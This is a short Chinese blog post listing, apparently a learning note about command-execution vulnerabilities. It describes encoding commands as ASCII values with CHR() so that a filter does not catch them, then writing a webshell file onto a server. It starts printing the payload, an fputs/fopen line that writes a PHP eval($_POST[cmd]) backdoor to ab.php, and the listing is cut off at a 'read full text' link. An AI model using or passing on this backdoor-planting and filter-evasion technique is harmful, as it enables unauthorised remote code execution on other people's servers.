2020年3月22日
将大量ASCII码值转换成字符函数CHR()的小技巧
摘要： 一、在学习命令执行漏洞的过程中，遇到以下情况： 当服务器上传不了马或者马被过滤的时候，我们可以迂回一下，通过执行写马命令到服务器，在服务器里面写马，该命令是通过ascii编码过的命令，防止被过滤。 1 fputs(fopen("ab.php","w"),'<?php eval($_POST[cmd] 阅读全文
posted @ 2020-03-22 14:06 impulse- 阅读(3435) 评论(1) 推荐(0)